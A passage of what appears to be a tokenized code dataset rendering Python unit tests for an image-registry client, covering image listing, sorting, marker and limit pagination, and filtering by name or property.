"gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "asd", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "4_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "iso", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "bare", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "xyz", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "sort", "\\u", "key_", "=_", "'", "container", "\\u", "format", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sort", "\\u", "dir_", "=_", "'", "desc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "2_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "index_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "correct", " ", "set", " ", "of", " ", "public", " ", "image", " ", "return", "ed", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "2", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "images_", "[_", "0_", "]_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "index", "\\u", "marker_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "correct", " ", "set", " ", "of", " ", "public", " ", "images", " ", "return", "ed", " ", "with", " ", "marker", " ", "param", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "4_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "125", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "marker_", "=_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "index", "\\u", "invalid", "\\u", "marker_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "exception", " ", "is", " ", "raise", "d", " ", "whe", "n", " ", "marker", " ", "is", " ", "invalid", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Invalid_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "get", "\\u", "images_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "marker_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "index", "\\u", "limit_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "correct", " ", "number", " ", "of", " ", "public", " ", "images", " ", "return", "ed", " ", "with", " ", "limit", " ", "param", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "125", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "limit_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "index", "\\u", "marker", "\\u", "limit_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "correct", " ", "set", " ", "of", " ", "images", " ", "return", "ed", " ", "with", " ", "marker", "/", "limit", " ", "params", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "125", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "marker_", "=_", "UU", "ID", "3_", ",_", "limit_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "index", "\\u", "by", "\\u", "base", "\\u", "attribute_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "an", " ", "index", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "a", " ", "base", " ", "attribute", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "images_", "[_", "0_", "]_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "index", "\\u", "by", "\\u", "property_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "an", " ", "index", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "a", " ", "property", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "p", " ", "a", "'_", ":_", "'", "v", " ", "a", "'_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "property", "-", "p", " ", "a", "'_", ":_", "'", "v", " ", "a", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "details_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "the", " ", "detailed", " ", "info", " ", "abo", "ut", " ", "public", " ", "images", " ", "return", "ed", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "expected_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "images_", "[_", "0_", "]_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "marker", "\\u", "limit_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "detailed", " ", "calls", " ", "are", " ", "filter", "ed", " ", "by", " ", "marker", "/", "limit", " ", "params", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "125", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "marker_", "=_", "UU", "ID", "3_", ",_", "limit_", 